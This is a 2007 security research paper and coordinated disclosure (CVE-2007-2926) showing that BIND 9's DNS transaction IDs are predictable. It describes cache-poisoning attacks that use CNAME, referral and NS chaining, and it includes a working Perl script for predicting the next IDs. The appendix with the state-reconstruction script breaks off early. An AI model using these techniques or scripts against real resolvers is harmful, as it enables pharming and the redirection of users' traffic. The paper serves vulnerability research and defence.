BIND 9 DNS Cache Poisoning

Amit Klein

March-June 2007

In memory of Anat Marom (Markowitz), 1971-2007

Abstract

The paper shows that BIND 9 DNS queries are predictable – i.e. that the source UDP port and DNS transaction ID can be effectively predicted. A predictability algorithm is described that, in optimal conditions, provides very few guesses for the "next" query (10 in the basic attack, and 1 in the advanced attack), thereby overcoming whatever protection offered by the transaction ID mechanism. This enables a much more effective DNS cache poisoning than the currently known attacks against BIND 9. The net effect is that pharming attacks are feasible against BIND 9 caching DNS servers, without the need to directly attack neither DNS servers nor clients (PCs). The results are applicable to all BIND 9 releases [1], when BIND (the *named* daemon) is in caching DNS server configuration.

2007© All Rights Reserved.

Trusteer makes no representation or warranties, either express or implied by or with respect to anything in this document, and shall not be liable for any implied warranties of merchantability or fitness for a particular purpose or for any indirect special or consequential damages. No part of this publication may be reproduced, stored in a retrieval system or transmitted, in any form or by any means, photocopying, recording or otherwise, without prior written consent of Trusteer. No patent liability is assumed with respect to the use of the information contained herein. While every precaution has been taken in the preparation of this publication, Trusteer assumes no responsibility for errors or omissions. This publication and features described herein are subject to change without notice.

Table of Contents

1. Introduction

Attacks against DNS, and particularly the concept of DNS cache poisoning has been known for over a decade (e.g. [2] section 5.3 was published in 1989 and [3] was published in 1993). A concise threat analysis for the existing DNS infrastructure can be found in [4]. The focus of this paper is on DNS cache poisoning attack.

Typically, a DNS query is sent over the connectionless UDP protocol. The UDP response is associated with the request via the source and destination host and port (UDP properties), and via the 16 bit transaction ID value (the response's transaction ID should be identical to the request's transaction ID). Assuming that an attacker knows that a DNS query for a specific domain is about to be sent, from a specific DNS server/resolver, the attacker can trivially predict the source IP address (the address of the requesting name server/client), the destination IP address (the address of the target name server), and the destination UDP port (53 – the standard UDP port for DNS queries). The attacker needs additional 2 data items – the source UDP port, and the DNS transaction ID, to be able to blindly inject his/her own response (before the target server's response – typically DNS server use the first matching response and silently discards any further responses).

As mentioned above, the transaction ID is 16 bits quantity, and the source UDP port is theoretically 16 bits quantity too (though for practical reasons, only a sub-range is used as UDP source ports – e.g. in 1024/1025-4999/5000 in older operating systems, and 49152-65535 in newer operating systems).

So in theory, the total entropy from an attacker's point of view is 32 bits, and practically (in older operating systems) $\log_2(3976 \cdot 2^{16})$ which is almost 28 bits, or (in newer operating systems) $\log_2(16384 \cdot 2^{16})$ which is 30 bits.

Note that for practical reasons, it is not a good idea to use a combination of transaction ID and UDP port which are already in the "waiting queue" for a DNS response. Typically there are very few such pending requests, so this has negligible effect on the overall entropy.

In BIND 9 the UDP source port is predictable – it is determined when the daemon is started or shortly thereafter (the UDP port is unchanged, as mentioned in [5] and its thread).

In general, predictability of the transaction ID can facilitate DNS cache poisoning attacks. This was mentioned in [2] section 5.3, [3] and [6] section 6.1. In April 1997, it was discovered that BIND (4.9.5) generates a sequential transaction ID ([7]); it seems though that the BIND developers (led by Paul Vixie) were aware of this attack vector back in 1995 (see [6] section 6.1). While the advisory contained a detailed fix suggestion, using modular arithmetic PRNG, the issue was actually fixed by introducing a hash-table based PRNG for BIND 8.2 (released March 1999), but the code was rewritten in BIND 9.0.0 (released September 2000) to make use of a linear feedback shift register based PRNG.

To clarify: the rest of this discussion assumes BIND 9.4.1 (or 9.x in general) wherein those old vulnerabilities do not exist.

In April 2001 a paper ([8]) was released, describing the use of a method called "attractors" to outline anomalies and predictability in numeric sequences. In January 2003, this method was applied to BIND 9.2.2rc1 ([9]), concluding that

"BIND 9's random number sequence is predictable 20% of the time with a spoofing set size of 5000". However, this result is only roughly about 2.5 times better than what can be achieved using 5000 randomly chosen values, and as will be shown below, a much better result can be obtained by a closer analysis. Note that this analysis was conducted prior to (and perhaps served as a trigger to) the fix introduced in BIND 9.2.3rc1 (August 2003)[1].

Combining the above "attractors" attack with the static UDP port yields an attack that requires about 5000 DNS responses to poison the cache. It is doubtful that such attack will be practical, since a DNS response cannot be a lot shorter than 80 bytes (in reality the attacker would probably need a bit more, so 100-150 is a better assumption, but nevertheless 80 can be used as a lower limit, for the benefit of the doubt), and 5000 such responses yield 400KB. That much data should arrive at the DNS stack between the time it emits the DNS query to be poisoned and the time the genuine server's response arrive to it. A single DNS round trip typically takes anywhere between few dozen milliseconds to few hundred milliseconds (for example, consider the 0-referral latency in table 1 of [11], or the statistics for the .COM gTLD in [12]). Assuming 100ms round trip, that requires the attacker a significant uplink bandwidth of 32 megabit/sec (similar calculations can be found in section 6 of [23]). Even if the attractor method is refined and an order of magnitude improvement is achieved, it would still require an uplink of 3.2 megabit/sec, which is not trivial on one hand, and may still not be enough on the other hand (it assumes 100ms round trip for the genuine DNS query, and in some cases the genuine DNS server may respond faster). And all this only guarantees 20% success rate.

Another well known attack against DNS caching/resolution is the "birthday attack". The birthday attack against DNS servers is hinted to in [5] (July 2001) and described in fullness in [13] (November 2002); a more elaborate discussion can be found in [9] and [14].

Essentially, where there are N entropy bits, the attack consists of sending simultaneously about $2^{N/2}$ DNS queries and $2^{N/2}$ DNS responses in order to make a match (with high enough probability). Unfortunately, the birthday attack cannot be combined with the "attractors" method. That's because the birthday attack needs multiple DNS queries (to the same target server), and each such query results in its own transaction ID. Using the attractor to predict the next transaction ID requires that the previous sequence number be known. Yet after the first query is sent, this condition cannot be met.

Combining the birthday attack with the UDP port information yields an attack that requires simultaneous launching of few hundred DNS queries and responses (we have N=16 so $2^{N/2}$=256) to cover for the 16 entropy bits of the DNS transaction ID. In order for the attack to be effective, this burst should take no longer than the round trip of the DNS query and answer from the genuine server (say, 100ms). However, forcing the DNS stack to receive several hundred DNS queries in a short period of time is oftentimes not realistic, especially when considering DNS security architecture such as Split-Split DNS. With Split-Split DNS architecture, the only way to access the caching DNS server is from within the organization (or ISP) – "external" queries are not served, e.g. they may be blocked by a firewall. This is a pretty standard setup nowadays (it is the recommended DNS secure architecture). The paper assumes, therefore, that the attacker has no direct access to the internal network, i.e. that the attacker cannot

[1] In BIND 9.2.3rc1, an implementation bug was fixed in the PRNG (see [10], bugs 1406 and 1407)

run home made executable (attack scripts) from the internal network. This pretty much rules out the option to hit the DNS stack with thousands of queries per second, thereby rendering the birthday attack impractical.

The attacks described in this paper make use of the predictable nature of BIND 9 transaction IDs to attack the DNS stack. It is assumed that the stack can be forced to perform DNS queries using a malicious web page (the concept of poisoning DNS cache through a malicious web page is described in [4] and demonstrated in [15] for a different kind of DNS attack). This is a real-life condition, but of course it is quite limiting in what the attacker can do – the attacker, for example, cannot force a burst of hundreds of queries all for the same hostname to be emitted from the same client. Nevertheless, it will be shown that since the transaction ID (and the UDP source port) is predictable enough, this suffices to mount a successful attack.

2. Attacking the BIND 9 DNS Cache Server ("*named*")

2.1 Observations on BIND's "*named*"

The BIND 9 *named* server uses static UDP source port (acquired at the startup of the daemon's run), and generates a very predictable transaction ID. A full analysis of the transaction ID generation mechanism was carried out using the BIND freely available source code. The research results were verified using live captures of named queries obtained from *named* (from a standard BIND 9.4.1 installation) running on Windows XP SP2. Since the analysis doesn't rely on the initialization of the transaction ID mechanism, but rather on the way it advances (which is common to all platforms), the results thus obtained are applicable to all hardware and software platforms.

The PRNG in use for generating transaction IDs is implemented in the BIND 9.4.1 source ([16]) file ./lib/isc/lfsr.c. In essence, the caller (function qid_allocate() in file ./lib/dns/dispatch.c) calls isc_lfsr_init() at the beginning of the run for each of the two "lfsr" variables to initialize the PRNG. As of this moment, the caller (function dns_randomid() in file ./lib/dns/dispatch.c) calls isc_lfsr_generate32 for each transaction ID, obtaining 32 pseudo random bits with each call (and using the least significant 16 bits of these as the transaction ID).

The internal state thus consists of two lfsr variables, which are 32 bit quantities. With each call to isc_lfsr_generate32, they are advanced as mutual feedback linear feedback shift registers, as following:

C code (adapted from the above files and modified for clarity):

```
unsigned int lfsr_generate(unsigned int lfsr_state,
                           unsigned int tap)
{
      if (lfsr_state & 1)
      {
            lfsr_state = (lfsr_state >> 1) ^ tap;
      }
      else
```

```
        {
                lfsr_state >>= 1;
        }
        return lfsr_state;
}

unsigned int lfsr_skipgenerate(unsigned int lfsr_state,
                               unsigned int tap,
                               unsigned int skip)
{
        if (skip)
        {
                lfsr_state = lfsr_generate(lfsr_state, tap);
        }
        lfsr_state = lfsr_generate(lfsr_state, tap);

        return lfsr_state;
}

skip1 = lfsr1_state & 1;
skip2 = lfsr2_state & 1;

lfsr1_state = lfsr_skipgenerate(lfsr1_state, tap1, skip2);
lfsr2_state = lfsr_skipgenerate(lfsr2_state, tap2, skip1);

trxid = (lfsr1_state ^ lfsr2_state) & 0xFFFF;
```

In words, the algorithm is as following:

- The least significant bit of each variable is saved.

- Each variable is advanced (shifted right) as an LFSR (with hard-wired, constant tap) once if its saved peer bit (see above) is 0 and twice if the saved peer bit is 1.

- Finally, the 16 bit transaction ID is the 16 least significant bits of the XOR value of the two variables. It is serialized with most significant byte first, then least significant byte (big endian style).

It is important to note that the above description does not cover a code branch (in function lfsr_generate(), file ./lib/isc/lfsr.c) which, for each variable, if its state is 0, then it is re-seeded. In reality, this never happens, because the initial seeding ensures that the initial state in each variable is never 0. And since both LFSR taps are reversible, it can be easily seen that neither variable can assume the value 0.

The net result is, therefore, a system comprising of two 32 bit mutually clock-controlled LFSRs, whose states are linearly combined to yield 16 bit output. In essence, this is a weak version (since the output is 16 bits, as opposed to the traditional 1 bit) of the well studied cryptosystem known by many names: "bilateral stop/go (LFSR) generator", "mutually clock controlled (LFSR) generator" and "mutual (or bilateral) step-1/step-2 (LFSR) generator". The variant used in BIND 9 is very weak due to its large output comprising of 16 bits (out of the combined internal state of 16 bits). As such, it lends itself to some trivial attacks as can be seen below.

An observation that plays an important role later is as following. When the transaction ID least significant bit is 0, it means that in the next step, the two LFSRs will advance in the same way (because their peer bits are identical). This

can be either one step (when the two bits are 0) or two steps (when the two bits are 1).

Assuming now that the least significant bit of the transaction ID is indeed 0, there are two branches, depending on the actual values of the pair of least significant bits in the two LFSRs:

- When the two bits are 0 (probability ½), it means that the next value of each LFSR is its current value, shifted right, with an unknown most significant bit. The XOR of the least significant 16 bits (i.e. the next transaction ID) is therefore the current transaction ID, shifted right once, with an unknown most significant bit. In other words, when the two least significant bits are 0, there are two candidates for the next transaction ID.
- When the two bits are 1 (probability ½), the situation is slightly more complicated. Both registers are advanced twice. Moreover, in the first step, both registers force their taps to XOR into them (because the least significant bits are 1). However, at the second step, the bits are unknown. But that's not the end of it, because while the exact bits are unknown, their XOR is known, so there are actually only two cases (guesses). And of course, the two most significant bits of the result are unknown too, so there are 8 candidates altogether in this branch.

To summarize, when the least significant bit of the transaction ID is 0, there are 10 possible values (and each such value is easily calculated) for the next transaction ID (2 when both bits are 0, and 8 when both bits are 1). Note that the probability of the values is not uniform: since the probability for two 0 bits is ½, it follows that each of the two values associated with this branch has probability ¼, while the probability of the two 1 bits is ½, which means that each value of the eight values associated with this branch has probability 1/16. In information theoretic terms, when the last significant bit of the transaction ID is 0, the entropy of the next transaction ID is 3 bits, instead of the theoretic maximum of 16 bits.

2.2 The basic attack

The attack target is an organization with BIND 9 DNS caching server. This server does not answer DNS queries from the Internet, and no direct access to the internal network is available for the attacker. The goal of the attack is to poison the cache entry for the domain example.com. It is assumed that this domain is not yet cached (or that its cache entry has expired). The attacker needs to make the cache server cache the authoritative name server entry for example.com as the attacker's IP address, rather than the IP address of the real authoritative name server for example.com.

The attacker lures one of the network users to visit the attacker's web page. This page contains an image URL to, say, www1.attacker.com. The discussion below skips the part where the name server obtains the authoritative name-server for attacker.com and focuses on the query for www1.attacker.com. It is sent to the attacker's name server. This name server observes the least significant bit of the DNS transaction ID. If it is not 0, it sends back a CNAME record for the next host name (i.e. a CNAME that points at www2.attacker.com). The BIND 9 DNS server will then request www2.attacker.com with the next ID value. This process repeats itself few times (up to 14 times due to CNAME chaining support by BIND 9) until

the bit value is 0. At this point, the attacker name server returns a CNAME record that points at www.example.com. Note that altogether up to (and possibly including) 15 CNAME "redirections" were performed - the BIND 9 DNS server follows up to (and including) 15 CNAME redirections. However, half of the time, the first DNS query (to www1.attacker.com) already has the least significant bit 0, and statistically speaking, the expected length of the required chain is 2 (up to a small quantity due to the cutoff at chain length 15).

The above practice is called CNAME chaining[2]. While it is probably the easiest to explain, other methods (possibly better, in some aspects) of forcing a DNS caching server to send multiple queries are discussed later in this document.

Note that the BIND 9 DNS server handles CNAME chains (up to 16 "redirections") well, but will only return the first 15 CNAME records (i.e. the 16th CNAME will not be included in the response returned to the client). Therefore, when the chain contains up to (and including) 15 redirections, the response to the client will be functional, i.e. will include the IP address of the final CNAME.

Assuming the attacker received a query whose transaction ID is even and the attacker then redirected to www.example.com, the second phase begins. The attacker needs to prepare the 10 possible DNS answers, corresponding to the 10 possible transaction ID values (as described above), and with the same UDP destination port (which is copied from the query source port), with source port 53, destination IP address being the request's source IP address, and the source IP address should be that of the name server for the .COM gTLD (which will be queried by the DNS caching name server for the www.example.com resolution).

The attacker can start sending those 10 DNS responses, as rapidly as possible, cycling through them again and again. Even with a modest 256Kbit uplink and with even 150 bytes per response it is possible to complete a cycle in less than 50 milliseconds. This increases the likelihood that the spoofed response (from the attacker's server) will reach the DNS server before the genuine DNS response (from the gTLD server).

Note that in order to maximize the likelihood of the attack to succeed, the attacker may order the transaction ID values used in the DNS responses, such that the high probability values (the two values associated with least significant bits being 0) are transmitted first.

The Perl script in Appendix B demonstrates the preparation of the candidate transaction IDs. It takes one command line argument (the current transaction ID, expressed as 4 hexadecimal digits, and is supposed to have least significant bit 0) and it prints the 10 possible next transaction ID values (the two most likely values are printed first).

[2] CNAME chains are discouraged per the DNS RFC 1034 ([17]), section 3.6.2. Indeed, "standard" name servers eliminate such indirections from a static DNS configuration by resolving CNAME chains internally and providing a consolidated result. At the same time, CNAME chaining is in use by many good and respectable domains, e.g. when a domain uses Content Delivery Network (CDN) services it typically points at the CDN host (on a different domain) via a CNAME record. Therefore, to implement the above CNAME chain it is advised to use a name server which provides user-controllable runtime configuration, such as [18].

2.3 An advanced attack: full PRNG state reconstruction

A shortcoming of the basic attack is that it provides 10 candidates for the next transaction ID. Also, it cannot predict sequences of transaction IDs. It merely uses an obvious weakness in the PRNG scheme to predict the next value in half the cases. However, since the BIND 9 PRNG is weak, it is also feasible to completely predict it (i.e. to reproduce its internal state in fullness). For this, a sequence of 13-15 consecutive DNS queries is needed (possibly using the CNAME chaining technique described above).

An algorithm that reconstructs the state of the two LFSRs after the first entry of the transaction ID sequence is generated, is as following (using straightforward and well known cryptanalysis techniques):

- Guess the 6-7 least significant bits of the first LFSR (hereinafter the state assumed is always the state right after the first transaction ID in the sequence is generated). Since the first transaction ID is the XOR of the least significant 16 bits of the two LFSRs, it immediately follows that the 6-7 (respectively) bits of the second LFSR become known.

- Per each such guess (there are 64/128 such guesses, respectively), advance the LFSRs and observe the XOR of their results, while all the time keeping in mind that as the registers advance, the "window of known bits" shrinks. Each register has its own window (since they not necessarily advance at the same pace), but since the least significant bits are known (for few steps, at least), the way they advance is completely known. This can be used to eliminate wrong guesses. At the end of this process, it is expected that very few candidates remain.

- Per each remaining candidate, try guessing alternately another bit of the first LFSR, and possibly eliminate using the above technique (following the LFSRs as they advance), then do so for the second LFSR, alternating between the two. Usually (when 13 or more transaction IDs are available), it is possible to improve by at least one bit per iteration, but occasionally there's no escape from guessing the bit and moving on.

- When one of the registers is fully known (all 32 bits) it can be followed "forever" (its "window" becomes infinite). When the two LFSRs are fully known, the internal state has been completely reconstructed.

Note that since each shift register advances once or twice per transaction ID, it follows that it takes 8-16 advances to get the most significant bit of each register to appear in the transaction ID. Because the algorithm above uses the state after the first transaction ID as its initial state, the algorithm actually requires at least 9-17 consecutive queries to fully reconstruct the internal state ("at least", because if say both registers advance by exactly 16 steps, the most significant bits will only be observed XORed with each other, hence one bit of information will still be missing). The exact number depends on the advancement schedule of both registers, but the probability for a success within $m+1$ consecutive queries can be easily bounded from above by the probability of the minimum of two binomial random variables $m+B(m,½)$ to be ≥ 16 (keep in mind that the advancement is $1+B(1,½)$), and this bound is quite close to the actual probability of success. It can easily be seen that good results are therefore expected when $m=12$ (13 queries), and excellent ones when $m=14$ (15 queries).

The Perl script in Appendix C takes around 10-15 milliseconds (on IBM ThinkPad T60 laptop with Intel Centrino CoreDuo T2400 CPU @1.83GHz and Windows XP

SP2 operating system – certainly a moderately powered machine) to extract the internal state from 13-15 consecutive transaction IDs. It takes one command line argument – the name of its input file. This file is assumed to contain lines, where each line describes a single DNS query (4 hex digits for the transaction ID). A file in this format can be produced from a PDML file (one of the export formats of the WireShark protocol analyzer) using the XSL transformation in Appendix A.

Rewriting the algorithm in a compiled language (e.g. C/C++) is expected to yield at least an order of magnitude improvement in performance, thus getting it to run in around 1-2 milliseconds (or less).

2.4 Attack variants

2.4.1 Pre-computed table

The basic attack algorithm calculates the 10 candidates in run time, given the current transaction ID (provided it is even). Another approach can be to pre-calculate a table for all (even) transaction IDs, and per each list all 10 candidates. Such table has 2^{15} entries (since there are 2^{15} even transaction IDs), and each entry is a list of 10 candidates, i.e. ten 16 bit quantities (20 bytes altogether). Thus the total storage needed for this table is 640KB. Generating this table takes less than half a second with a Perl script, so it should probably take few dozen milliseconds (or less) in native C/C++ code.

2.4.2 Information theoretic results

Experiments with the full PRNG state reconstruction script revealed that typically when there are less than 13-15 known transaction IDs, more than one internal state candidate is found. All candidates generate the same transaction ID sequence, and hence are indiscernible from one another. This means that indeed typically around 13-15 transaction IDs are indeed necessary (theoretically!) to reconstruct the internal state, or in other words, that the above algorithm (and script) are optimal from an information theoretic aspect.

2.4.3 Linear equations

Note that the PRNG state reconstruction algorithm makes use of incremental enumeration and elimination, with basis guess of 6-7 bits. An alternative approach is to represent the information as linear equations (while taking into account the non-uniform advance in the registers). Again – this is a well known cryptanalytic technique for attacking such a system. However, in this case it seems that guessing and elimination is faster than solving the set of equations.

2.4.4 Earlier versions of BIND 9

With versions of BIND 9 earlier than 9.2.3rc1, the shift register taps are slightly different (the bug fix introduced in 9.2.3rc1 amounts to changing the tap of the second shift register, as well as changing the way the tap is interpreted in both registers, but the underlying algorithm was not modified). Both attacks described

above should work for earlier versions of BIND 9 (though this was not explicitly tested), with the following tap values:

```
$tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
$tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)
```

2.4.5 Additional ways to force multiple queries

The CNAME chain can employ its final redirection as an authoritative NS referral (instead of a CNAME redirection).

CNAME chaining is not the only way to force the target DNS server to send multiple queries to the attacker's server. Another such way is referral chaining (i.e. using NS authority records). The technique is as following: for a malicious domain attacker.com, the attacker establishes a chain of sub-domains: z.z.z.z….z.z.z.attacker.com. The attacker forces the target DNS server to resolve z.z.z.z….z.z.z.attacker.com. The attacker's server responds with a NS record in the authority section whose name is z.example.com and whose value is the attacker's name server (this may require a glue record in the additional section if the attacker's name server is in the attacker.com domain). Upon the next query, the attacker's server responds with z.z.attacker.com NS record, and so forth. BIND9 will generate a new transaction ID with each such query, and thus the attacker can collect a sequence of consecutive transaction ID's. Experiments show that it's possible to extract sequences of length 100 (probably even more, the limit is likely driven from the maximum DNS name size – 256 characters, so the length limit is probably slightly less than 128). The final answer from the attacker can be a CNAME record or an authority NS record pointing at www.example.com, to force DNS resolution of the target domain.

Note though that the query size is linear in the number of redirections, so in order to keep the response smaller than, say, 150 bytes, the number of redirections has to be small (e.g. 20-30); this is achieved through using the standard DNS offset "compression" (pointing the name part of the NS record to a substring of the queried name in the query section) defined in [19], section 4.1.4. Still, 20 redirections are more than enough to reconstruct the internal state, or to find an even transaction ID. The upside of this method however is that it is totally within the DNS mainstream (it is perfectly valid, and indeed expected, that parent domains delegate authority to sub domains).

Another technique is NS chains [20] (with multiple sub-domains, i.e. an NS record for d1.attacker.com to point at ns.d2.attacker.com, with NS for d2.attacker.com pointing at ns.d3.attacker.com, etc., and of course without glue records). This was successfully tested in BIND 9 with a chain of length 1000. The upside is that NS chaining does not increase the response size.

The final step can be an authority NS record pointing at www.example.com, forcing the target DNS server to resolve the target host/domain. It seems that BIND 9 does not follow CNAME records when resolving name server addresses, which is in compliance with [21] section 10.3.

3. Conclusions

It is saddening to realize that 10-15 years after the dangers of predictable DNS transaction ID were discovered, still the leading DNS cache server does not incorporate strong transaction ID generation, particularly such one that is based on industrial grade cryptographic algorithms.

The paper demonstrated that the "classic" DNS poisoning attack is still applicable for BIND 9, and the attack described is far more effective than any attack previously described for BIND 9. It requires much less "guesses" than the "attractors"-based attack, and it does not require "query access" to the DNS server (except for a single triggering query), as opposed to the burst of hundreds of queries required by the birthday attack, rendering the latter almost ineffective when Split-Split DNS configuration is used.

The fact that the BIND 9 transaction ID can be predicted for an extended time period has some interesting consequences. For example, it means that if DNS queries made by a BIND 9 caching DNS server to a 3rd party DNS server are recorded by that 3rd party DNS server (e.g. in log files), then potentially anyone with access to this data may be able to reconstruct the BIND 9 internal PRNG state and thus be able to reconstruct the next transaction IDs. Quite likely, the BIND server already sent additional queries to other DNS servers, but if the number of additional queries is low enough (e.g. few hundreds), it still enables an attacker to effectively poison the BIND 9 server cache.

By the same principle, an attacker who once obtained the internal state can quite effectively continue to poison the cache for multiple "target queries" using the known internal state, without the need to reconstruct it again (possibly the attacker would like to obtain one sample of the current transaction ID to re-synchronize his/her copy of the internal state by running it forward until it collides with the sample). This is again stronger than other attack methods which require exerting the same amount of effort for any additional poisoning attempt.

To some extent, the attack can be thought of as "degrading" the DNS transaction ID mechanism of BIND 9 to something close to the "increment by one" algorithm of the 1990's. Hopefully this analogy can help the security community to accurately assess the gravity of this issue.

4. Disclosure timeline

May 29th, 2007 – ISC were notified via email.

July 2007 – ISC releases a fixed version. Simultaneously, Trusteer discloses the vulnerability to the public (in the form of this document).

5. Vendor/product status

All stable versions of BIND 9 to date (except the ones released simultaneously with this paper) are vulnerable, i.e. BIND 9 versions 9.4.0-9.4.1, 9.3.0-9.3.4, 9.2.0-9.2.8, 9.1.0-9.1.3 and 9.0.0-9.0.1.

BIND 8 and BIND 4 are not affected.

The vendor (Internet Systems Consortium, http://www.isc.org/) has released a new version of BIND 9 which, according to the vendor, addresses this issue.

Effective immediately, the new version can be downloaded from the vendor's web site.

The vendor designates this issue/fix as #2203 (RT#16915).

The vendor has obtained the following MITRE vulnerability designation for this issue: CVE-2007-2926.

6. References

[1] "Internet Systems Consortium BIND 9.4.1" (Internet Systems Consortium web page)

http://www.isc.org/index.pl?/sw/bind/view/?release=9.4.1

[2] "Security Problems in the TCP/IP Protocol Suite" (Computer Communications Review 2:19, pp. 32-48), Steven M. Bellovin (AT&T Bell Laboratories), April 1989

http://www.cs.columbia.edu/~smb/papers/ipext.pdf

[3] "ADDRESSING WEAKNESSES IN THE DOMAIN NAME SYSTEM PROTOCOL" (M.Sc. Thesis), Christoph Schuba, August 1993

http://ftp.cerias.purdue.edu/pub/papers/christoph-schuba/schuba-DNS-msthesis.pdf

[4] "Threat Analysis of the Domain Name System (DNS)" (IETF RFC 3833), Derek Atkins and Rob Austein, August 2004

http://www.ietf.org/rfc/rfc3833.txt

[5] "Re: BIND's vulnerability to packet forgery" (mailing.unix.bind-users mailing list submission), Daniel J. Bernstein, July 29th, 2001

http://groups.google.com/group/mailing.unix.bind-users/msg/92f94d2f940cdfab?dmode=source&hl=en

[6] "DNS and BIND Security Issues" (Proceedings of the Fifth USENIX UNIX Security Symposium), Paul Vixie (Internet Software Consortium), May 11th, 1995

http://www.usenix.org/publications/library/proceedings/security95/full_papers/vixie.txt

[7] "BIND Vulnerabilities and Solutions" (Secure Networks Inc. and CORE Seguridad de la Informacion Security Advisory), Ivan Arce and Emiliano Kargieman, April 22nd, 1997

http://www.openbsd.org/advisories/res_random.txt

[8] "Strange Attractors and TCP/IP Sequence Number Analysis", Michal Zalewski, April 21st, 2001

http://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html

[9] "DNS Cache Poisoning - The Next Generation", LURHQ Threat Intelligence Group, January 27th, 2003

http://www.lurhq.com/cachepoisoning.html (HTML)

http://www.lurhq.com/dnscache.pdf (PDF)

[10] "BIND 9.2.3", Internet Systems Consortium, February 4th, 2004

http://www.isc.org/index.pl?/sw/bind/view/?release=9.2.3

[11] "DNS Performance and the Effectiveness of Caching" (1st ACM SIGCOMM Internet Measurement Workshop, San Francisco, CA), Jaeyeon Jung, Emil Sit, Hari Balakrishnan and Robert Morris, November 2001

http://nms.lcs.mit.edu/papers/dns-ton2002.pdf

[12] "DNS com net Connectivity"

http://smokeping.ovh.net/ovh-server-statistics/show.cgi?target=DNS.com-net

[13] "Vulnerability in the sending requests control of Bind versions 4 and 8 allows DNS spoofing" (CAIS alert ALR-19112002a), Vagner Sacramento and Ccais/RNP, November 19th, 2002

http://www.rnp.br/cais/alertas/2002/cais-ALR-19112002a.html

[14] "Vulnerability Note VU#457875" (CERT Advisory), Allen Householder and Ian A Finlay, December 19th, 2002

https://www.kb.cert.org/vuls/id/457875

[15] "DNS Poisoning" (demonstration web page), Ketil Froyn, 2003

http://ketil.froyn.name/poison.html

[16] "ISC Software Download - Downloading: BIND 9.4.1 Source" (Internet Systems Consortium download web page)

http://www.isc.org/index.pl?/sw/dl/?pkg=bind9/9.4.1/bind-9.4.1.tar.gz&name=BIND%209.4.1%20Source

[17] "DOMAIN NAMES - CONCEPTS AND FACILITIES" (IETF RFC 1034), Paul Mockapetris, November 1987

http://www.ietf.org/rfc/rfc1034.txt

[18] "Stanford::DNSserver - A DNS Name Server Framework for Perl", Rob Riepel and other contributors (see http://www.stanford.edu/~riepel/Stanford-DNSserver/DNSserver.html#contributions)

http://www.stanford.edu/~riepel/Stanford-DNSserver/

[19] "DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION" (IETF RFC 1035), Paul Mockapetris, November 1987

http://www.ietf.org/rfc/rfc1035.txt

[20] "How long can an NS chain be?" (NameDroppers mailing list), Daniel J. Bernstein, December 28th, 1998

http://www.ops.ietf.org/lists/namedroppers/namedroppers.199x/msg03692.html

[21] "Clarifications to the DNS Specification" (IETF RFC 2181), Robert Elz and Randy Bush, July 1997

http://www.ietf.org/rfc/rfc2181.txt

[22] "Command Line Transformations Using msxsl.exe" (MSDN XML General Technical Articles), Andrew Kimball, September 2001

http://msdn2.microsoft.com/en-us/library/aa468552.aspx

[23] "Measures to prevent DNS spoofing" (Internet-Draft, expired), Bert Hubert (Netherlabs Computer Consulting BV) and Remco van Mook (Virtu), August 14th, 2006

http://www.faqs.org/ftp/internet-drafts/draft-hubert-dns-anti-spoofing-00.txt

Appendix A – XSL file

This XSL file can be applied to the PDML export file produced by the WireShark network analyzer (a similar XSL can be used for Ethereal, though the latter uses slightly different field names). It extracts data per each DNS query into a single line, separated by spaces. The following fields are extracted:

- DNS transaction ID (4 hex digits)
- Capture timestamp (seconds, 9 digits after the decimal point)
- Query object (string)
- UDP source port (4 hex digits)

The XSL transformation can be applied by any XSLT engine, e.g. Microsoft MSXSL ([22]).

The Perl script in appendix C assumes the output of this XSL transformation as its input.

It is advised that WireShark filters be used prior to applying the XSL transformation, because the former is much quicker than the latter, e.g. filtering for `ip.src==…` and `dns.flags.response==0` before exporting.

```
<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:strip-space elements="*"/>
<xsl:output method="text" encoding="ISO-8859-1"/>
<xsl:template match='/pdml/packet/proto[@name="dns" and
        field[@name="dns.flags"]/field[@name="dns.flags.response"]/@value="0"]'>
<xsl:value-of select='field[@name="dns.id"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of select='../proto[@name="geninfo"]/field[@name="timestamp"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of
        select='field[@show="Queries"]/field/field[@name="dns.qry.name"]/@show' />
<xsl:text> </xsl:text>
<xsl:value-of select='../proto[@name="udp"]/field[@name="udp.srcport"]/@value' />
<xsl:text>&#x0d;&#x0a;</xsl:text>
</xsl:template>
</xsl:stylesheet>
```

Appendix B – BIND 9 simple prediction script

```
# For BIND9 v9.2.3-9.4.1:
$tap1=0x80000057;
$tap2=0x80000062;

# For BIND9 v9.0.0-9.2.2:
# $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
# $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)

$txid=hex($ARGV[0]);

if (($txid & 1)!=0)
{
      die "lsb is not 0. Can't predict the next transaction ID.\n";
}

# One bit shift (assuming the two lsb's are 0 and 0)
for ($msb=0;$msb<(1<<1);$msb++)
{
      push @cand,(($msb<<15)|($txid>>1)) & 0xFFFF;
}

# Two bit shift (assuming the two lsb's are 1 and 1)
# First shift (we know the lsb is 1 in both LFSRs):
$v=$txid;
$v=($v>>1)^$tap1^$tap2;
if (($v & 1)==0)
{
      # After the first shift, the lsb becomes 0, so the two LFSRs now have
      #     identical lsb's: 0 and 0   or   1 and 1
      # Second shift:
      $v1=($v>>1); # 0 and 0
      $v2=($v>>1)^$tap1^$tap2; # 1 and 1
}
else
{
      # After the first shift, the lsb becomes 1, so the two LFSRs now have
      #     different lsb's: 1 and 0   or   0 and 1
      # Second shift:
      $v1=($v>>1)^$tap1; # 1 and 0
      $v2=($v>>1)^$tap2; # 0 and 1
}

# Also need to enumerate over the 2 msb's we are clueless about
for ($msbits=0;$msbits<(1<<2);$msbits++)
{
      push @cand,(($msbits<<14)|$v1) & 0xFFFF;
      push @cand,(($msbits<<14)|$v2) & 0xFFFF;
}

print"Predicting - the next transaction ID is one of: ";
for (my $k=0;$k<10;$k++)
{
      printf "%04x ",$cand[$k];
}

exit(0);
```

Appendix C – BIND 9 PRNG reconstruction script

```
# For BIND9 v9.2.3-9.4.1:
$tap1=0x80000057;
$tap2=0x80000062;

# For BIND9 v9.0.0-9.2.2:
# $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
